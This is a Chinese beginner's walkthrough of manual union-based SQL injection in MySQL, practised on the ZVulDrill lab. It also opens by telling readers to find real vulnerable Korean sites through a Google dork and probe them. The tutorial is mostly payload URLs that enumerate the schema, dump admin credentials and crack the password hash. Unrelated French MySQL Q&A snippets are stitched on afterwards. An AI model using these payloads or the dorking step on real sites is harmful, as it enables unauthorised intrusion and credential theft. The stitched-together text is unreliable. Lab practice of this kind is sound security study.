手动sql注入(初级篇)_MySQL
我也是才学 sql 注入一个星期,此篇文章是学给初学者看的
推荐书籍 《sql注入攻击与防御》http://www.ddooo.com/softdown/50160.htm
1、找到存在sql注入的网站
方法:在google中输入 site:kr inurl:php?id= 打开出现的网址,在网址后面添加 ’ (英文逗号)如果页面出现跳转 说明可能存在sql注入原理:一般网址都是类似 search.php?search=hello 相应的sql语句 可能是 select * from table_name where column_name='hello' 如果在网址后面添加 ‘ 则sql语句为 select * from table_name where column_name='hello'’ 如果网站没有进行sql注入过滤,会报错在GitHub有个Web漏洞演练项目,可以下载后部署在自己的电脑上(这里我就不教大家部署了,熟悉Web编程的大部分都会) https://github.com/710leo/ZVulDrill网页内容如下
2、检测字段长度
(1) http://localhost/ZVulDrill-master/search.php?search=hello%' order by 1--%20相当于sql语句 select * from table_name where colmun_name like '%hello%' order by 1 -- '说明 MySQL有三种注释 -- 是其中一种 但是 -- 后面要跟一个空格才有效 但是网址会自动去掉最后一个空格需要手动输入%20注释后面的sql语句不执行(2) 此时页面没有出错,用同样的方式 添加 order by 10页面出错,然后 order by 5 出错,order by 4 页面正确 说明字段长 43、查看数据库信息
方法:使用union语句提取数据 (1) http://localhost/ZVulDrill-master/search.php?search=hello%' and 1=2 union select 1,2,2,4 --%20sql语句 select * from table_name where column_name like '%hello%' and 1=2 union select 1,2,3,4union前的sql语句中 where条件恒为假,结果集为空,整个sql语句返回的是union后面的结果集
(2) 获取MySQL version user database 等相关信息 如上图所示,页面上显示 1,2 ,可以利用这个来显示我们需要的信息 http://localhost/ZVulDrill-master/search.php?search=hello%' and 1=2 union select 1,version(),user(),4 --%20 即 将 2,3 换成 version(),user() 页面如下

同理将 user() 换成 database() 得到数据库名 zvuldrilluser() ------------ wkdty@localhostversion() -------------- 5.6.17 (5.0以上的版本都带有一个 information_schema 的虚拟库里面存放的是所有库的信息.) database() ------------- zvuldrill
4、获取数据库数据
(1)获取表名http://localhost/ZVulDrill-master/search.php?search=hello%' and 1=2 union select 1,2,GROUP_CONCAT(DISTINCT table_name),4 from information_schema.columns where table_schema='zvuldrill'--%20
数据库中有3张表,对我们最有用的是admin这张表,以管理员身份进入网站可以看到各种信息(2)获取字段名http://localhost/ZVulDrill-master/search.php?search=hello%' and 1=2 union select 1,2,GROUP_CONCAT(DISTINCT column_name),4 from information_schema.columns where table_name='admin'--%20

(3)获取数据http://localhost/ZVulDrill-master/search.php?search=hello%' and 1=2 union select 1,2,GROUP_CONCAT(DISTINCT admin_id,admin_name,admin_pass),4 from admin--%20

admin_id 1 admin_name adminadmin_pass d033e22ae348aeb5660fc2140aec35850c4da997 (md5解密之后 得到admin)根据用户登录入口,找到后台登录入口 ,以管理员身份进入网站

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La numérisation complète de la table peut être plus rapide dans MySQL que l'utilisation d'index. Les cas spécifiques comprennent: 1) le volume de données est petit; 2) Lorsque la requête renvoie une grande quantité de données; 3) Lorsque la colonne d'index n'est pas très sélective; 4) Lorsque la requête complexe. En analysant les plans de requête, en optimisant les index, en évitant le sur-index et en maintenant régulièrement des tables, vous pouvez faire les meilleurs choix dans les applications pratiques.

Les capacités de recherche en texte intégral d'InNODB sont très puissantes, ce qui peut considérablement améliorer l'efficacité de la requête de la base de données et la capacité de traiter de grandes quantités de données de texte. 1) INNODB implémente la recherche de texte intégral via l'indexation inversée, prenant en charge les requêtes de recherche de base et avancées. 2) Utilisez la correspondance et contre les mots clés pour rechercher, prendre en charge le mode booléen et la recherche de phrases. 3) Les méthodes d'optimisation incluent l'utilisation de la technologie de segmentation des mots, la reconstruction périodique des index et l'ajustement de la taille du cache pour améliorer les performances et la précision.

Oui, MySQL peut être installé sur Windows 7, et bien que Microsoft ait cessé de prendre en charge Windows 7, MySQL est toujours compatible avec lui. Cependant, les points suivants doivent être notés lors du processus d'installation: téléchargez le programme d'installation MySQL pour Windows. Sélectionnez la version appropriée de MySQL (communauté ou entreprise). Sélectionnez le répertoire d'installation et le jeu de caractères appropriés pendant le processus d'installation. Définissez le mot de passe de l'utilisateur racine et gardez-le correctement. Connectez-vous à la base de données pour les tests. Notez les problèmes de compatibilité et de sécurité sur Windows 7, et il est recommandé de passer à un système d'exploitation pris en charge.

La différence entre l'index cluster et l'index non cluster est: 1. Index en cluster stocke les lignes de données dans la structure d'index, ce qui convient à la requête par clé et plage primaire. 2. L'index non clumpant stocke les valeurs de clé d'index et les pointeurs vers les lignes de données, et convient aux requêtes de colonne de clés non primaires.

MySQL est un système de gestion de base de données relationnel open source. 1) Créez une base de données et des tables: utilisez les commandes CreateDatabase et CreateTable. 2) Opérations de base: insérer, mettre à jour, supprimer et sélectionner. 3) Opérations avancées: jointure, sous-requête et traitement des transactions. 4) Compétences de débogage: vérifiez la syntaxe, le type de données et les autorisations. 5) Suggestions d'optimisation: utilisez des index, évitez de sélectionner * et utilisez les transactions.

Dans la base de données MySQL, la relation entre l'utilisateur et la base de données est définie par les autorisations et les tables. L'utilisateur a un nom d'utilisateur et un mot de passe pour accéder à la base de données. Les autorisations sont accordées par la commande Grant, tandis que le tableau est créé par la commande Create Table. Pour établir une relation entre un utilisateur et une base de données, vous devez créer une base de données, créer un utilisateur, puis accorder des autorisations.

MySQL prend en charge quatre types d'index: B-Tree, hachage, texte intégral et spatial. 1. L'indice de tree B est adapté à la recherche de valeur égale, à la requête de plage et au tri. 2. L'indice de hachage convient aux recherches de valeur égale, mais ne prend pas en charge la requête et le tri des plages. 3. L'index de texte complet est utilisé pour la recherche en texte intégral et convient pour le traitement de grandes quantités de données de texte. 4. L'indice spatial est utilisé pour la requête de données géospatiaux et convient aux applications SIG.

MySQL et MARIADB peuvent coexister, mais doivent être configurés avec prudence. La clé consiste à allouer différents numéros de port et répertoires de données à chaque base de données et ajuster les paramètres tels que l'allocation de mémoire et la taille du cache. La mise en commun de la connexion, la configuration des applications et les différences de version doivent également être prises en compte et doivent être soigneusement testées et planifiées pour éviter les pièges. L'exécution de deux bases de données simultanément peut entraîner des problèmes de performances dans les situations où les ressources sont limitées.
